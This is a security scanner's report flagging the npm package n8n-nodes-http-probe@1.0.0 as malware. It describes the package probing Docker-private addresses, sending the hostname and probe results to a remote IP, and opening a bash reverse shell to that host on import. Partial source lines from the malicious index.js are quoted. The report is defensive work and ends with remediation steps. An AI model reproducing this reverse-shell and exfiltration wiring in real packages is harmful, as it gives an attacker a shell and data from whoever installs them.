registry / Remote code execution / n8n-nodes-http-probe
n8n-nodes-http-probe
HTTP probe nodes
This report shows the evidence for n8n-nodes-http-probe@1.0.0, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms concrete import-time discovery, exfiltration, and remote shell behavior. No lifecycle hook is needed because the declared package entrypoint executes the payload on import.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Loading or importing the package `main` entrypoint (`index.js`).
Impact
Remote operator can receive environment-derived network data and obtain interactive shell access under the importing process account.
Mechanism
Import-time internal probing, TCP exfiltration, and Bash reverse shell.
Attack narrative
When `index.js` is imported, it records the hostname, probes Docker/host-private services, and sends collected response data to `103.27.109.184:8893`. It then launches `/bin/bash -i` and bridges its standard streams through a TCP socket to the same remote host, creating an interactive reverse shell.
AI rationale
Direct source inspection confirms concrete import-time discovery, exfiltration, and remote shell behavior. No lifecycle hook is needed because the declared package entrypoint executes the payload on import.
Evidence
package.jsonindex.jsHttpProbeNode.js
Network endpoints6
172.17.0.2:80172.17.0.2:443172.17.0.1:80172.17.0.1:443172.18.0.2:8080103.27.109.184:8893
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` runs immediately when the declared `main` entrypoint is imported.
- `index.js` probes Docker/host-private IPs and captures up to 400 bytes of each response.
- `index.js` sends the hostname and probe results to `103.27.109.184:8893`.
- `index.js` spawns interactive `/bin/bash -i` and pipes it over TCP to `103.27.109.184:8893`.
Evidence against
- `package.json` declares no npm lifecycle scripts.
- `HttpProbeNode.js` is inert and its `execute()` returns an empty result.
Behavioral surface
ChildProcess
Source & flagged code
3 flagged · loading sourceindex.jsView file
1(function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4:
...
L8:
L9: add('H='+require('os').hostname());
L10:
...
L17: sock.connect(port, host, function(){
L18: sock.write('GET '+path+' HTTP/1.0\r\nHost: '+host+'\r\n\r\n');
L19: });
...
L49: try {
L50: var sh = cp.spawn('/bin/bash', ['-i']);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> index.js
L1: (function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4:
...
L8:
L9: add('H='+require('os').hostname());
L10:
...
L17: sock.connect(port, host, function(){
L18: sock.write('GET '+path+' HTTP/1.0\r\nHost: '+host+'\r\n\r\n');
L19: });
...
L49: try {
L50: var sh = cp.spawn('/bin/bash', ['-i']);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L12var net = require('net');
L3: var cp = require('child_process');
L4:
High
Findings
2 Critical1 High
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
Affected versions and remediation
This report applies to n8n-nodes-http-probe@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing n8n-nodes-http-probe@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.